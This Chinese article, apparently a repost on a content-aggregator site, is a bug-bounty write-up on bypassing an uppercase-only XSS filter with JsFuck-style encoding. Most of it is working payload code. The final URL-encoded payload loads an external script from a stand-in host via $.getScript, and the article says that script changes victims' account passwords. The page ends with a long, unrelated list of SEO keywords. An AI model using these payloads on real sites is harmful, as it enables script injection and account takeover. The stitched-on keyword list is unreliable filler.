千家信息网

如何绕过像PRO这样的XSS过滤器

发表于:2024-09-21 作者:千家信息网编辑
千家信息网最后更新 2024年09月21日,本篇文章为大家展示了如何绕过像PRO这样的XSS过滤器,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。JavaScript代码中如果存在代码注入漏洞的话,那确实
千家信息网最后更新 2024年09月21日如何绕过像PRO这样的XSS过滤器

本篇文章为大家展示了如何绕过像PRO这样的XSS过滤器,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

JavaScript代码中如果存在代码注入漏洞的话,那确实是一个令人头疼的问题,由于这个项目并不是我们为企业环境做的渗透测试项目,因此我们可以直接将技术细节公布给大家。

简而言之,我们在某网站上发现了一个安全漏洞,经过一段时间的代码分析之后,我们成功发现了一个存在XSS漏洞的节点:

http://website.com/dir/subdir

在该节点的JavaScript代码中,有如下代码:

function("/DIR/SUBDIR",params);

使用Burp Suite扫描之后,我们发现在URL结尾添加"-alert(1)-"(http://website.com/dir/subdir/"-alert(1)-")将能够反射XSS,浏览器会告诉我们"unable to find function ALERT(1)":

那么接下来,我们需要测试服务器到底过滤掉了什么,比如说是""、"//"、"\"还是"."。

寻找可用的Payload

我们也寻找到了一些解决方案,而且都跟jsfuck.com有关。

当然了,在这个站点我们也可以执行一次"alert(1)",但这只是低危的XSS,我们想要将该漏洞提升为高危或严重漏洞。为了实现这个目标,我们将需要加载一个外部JS文件,并且能够在不需要任何用户交互的情况下执行任意Web行为。

下图显示的是一个WordPress Payload,我们的目标是在目标网站中加载要一个外部JS文件,并修改账号密码以及邮箱:

制作JsFuck Payload,在JsFuck代码中,简单地"alert(1)"会被转换为:

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

如果我想要实现"alert([xss_clean])",那么整个JsFuck代码估计要到13000多个字符了。我发现,只要字符超过2500-2700个之后,目标站点的服务器就会返回"错误400"。

接下来,我们研究一下JsFuck的工作机制:

const SIMPLE = {    'false':      '![]',    'true':       '!0',    'undefined':  '0[0]',    'NaN':        '+[!0]',    'Infinity':   '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"  };const CONSTRUCTORS = {    'Array':    '[]',    'Number':   '(+0)',    'String':   '([]+[])',    'Boolean':  '(!0)',    'Function': '[]["fill"]',    'RegExp':   'Function("return/"+0+"/")()'  };const MAPPING = {    'a':   '(false+"")[1]',    'b':   '([]["entries"]()+"")[2]',    'c':   '([]["fill"]+"")[3]',    'd':   '(undefined+"")[2]',    'e':   '(true+"")[3]',    'f':   '(false+"")[0]',    'g':   '(false+[0]+String)[20]',    'h':   '(+(101))["to"+String["name"]](21)[1]',    'i':   '([false]+undefined)[10]',    'j':   '([]["entries"]()+"")[3]',    'k':   '(+(20))["to"+String["name"]](21)',    'l':   '(false+"")[2]',    'm':   '(Number+"")[11]',    'n':   '(undefined+"")[1]',    'o':   '(true+[]["fill"])[10]','p':   '(+(211))["to"+String["name"]](31)[1]',

然后,在Chrome中执行部分代码:

一般来说,我们可以直接用不同类型的变量来"包装"这些字符串,所以我们可以使用小写字符来存储类似false、true、undefined、NaN和Infinity之类的关键字字符串。

接下来,我想要避免使用小写字符:

Á=![]; //falseÉ=!![]; //true Í=[][[]]; //undefinedÓ=+[![]]; //NaNSI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// InfinityST=([]+[]); //Ü=(+[]);A=(Á+"")[1];D=(Í+"")[2];E=(É+"")[3];F=(Á+"")[0];G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];I=([Á]+Í)[10];L=(Á+"")[2];T=(É+"")[0];O=(É+[][F+I+L+L])[10];R=(É+"")[1];N=(Í+"")[1];M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];S=(Á+"")[3];U=(Í+"")[0];V=(+(31))[T+O+"S"+T+R+I+N+G](32);X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];Y=(Ó+[SI])[10];Z=(+(35))[T+O+"S"+T+R+I+N+G](36);C=([][F+I+L+L]+"")[3];H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];K=(+(20))[T+O+"S"+T+R+I+N+G](21);W=(+(32))[T+O+"S"+T+R+I+N+G](33);J=([][E+N+T+R+I+E+S]()+"")[3];B=([][E+N+T+R+I+E+S]()+"")[2];

当然了,我还需要使用到"."和"/",这里我可以利用浮点值1.1e+101来得到".":

非常好,我们要的"."已经有了,现在还差"/"和"g",考虑到大写字母过滤器的存在,我打算使用JsFuck,因此不得不牺牲1200个字符,不过这个Payload目前也只有500-800个字符,离最终的上限还有一段距离。

既然我们已经得到了所有需要的字符,那么接下来就是执行我们的Payload了:

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

上述这段JsFuck代码会被翻译成"fill.constructor(alert(1))",并且让我们的JavaScript文件全部以大写字母的形式执行,非常好!

我祈祷我们的目标站点使用的是JQuery,并且在页面HTML代码的结尾进行加载,那么在注入完成之后,并且等待三秒钟加载所有的依赖组件,最终执行$.getScript来加载我们的外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

等待了三秒钟之后,我们成功拿到了test/test请求!!接下来,使用URL编码对Payload进行编码处理,最终的Payload如下所示:

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

我们成功地在目标站点中加载了外部JS文件,并且我们的外部JS文件可以修改目标账号的用户密码!

总结

该漏洞可以允许攻击者实现账户接管,并将低危的XSS漏洞提升为高危漏洞,而该漏洞也拿到了1000美金的漏洞奖励。

上述内容就是如何绕过像PRO这样的XSS过滤器,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

代码 漏洞 字符 目标 文件 接下来 站点 过滤器 成功 内容 大写 大写字母 字母 字符串 密码 小写 就是 技能 服务器 用户 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 青少年要注意的网络安全有 window编程设计数据库 全球服务器托管数据 怎么和网络技术公司签合同 服务器硬盘挂台式机分区不了 数据库日志用于保存什么 计算机网络技术综合测试试卷 昆山信息化网络技术咨询热线 东能服务器故障代码 大兴二手服务器回收电话 关于网络安全的广播稿100 网络安全法开始施行日期 哪些大学硕士有网络安全专业 江岸区海航网络安全维护收费标准 现当代报刊资源数据库 数据库报表平均值函数 数据库字段长度截断 象棋软件开发公司 规模大的零信任网络安全 神武登录不上服务器 批量倒入怪物数据库 三年计算机网络技术工资高吗 软件开发如何招聘 jpa查询数据库 上网使用的网络安全技术 沃尔玛数据库技术 计算机网络技术专业适合女生 sql数据库查询时排除指定 收银机连接不上数据库怎么办 多媒体通信网络技术总结
0